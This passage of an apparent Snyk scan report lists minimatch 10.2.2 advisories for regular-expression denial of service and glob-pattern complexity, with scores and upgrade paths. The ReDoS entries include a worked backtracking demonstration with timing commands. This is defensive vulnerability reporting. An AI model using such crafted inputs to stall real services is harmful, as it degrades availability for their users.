long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": 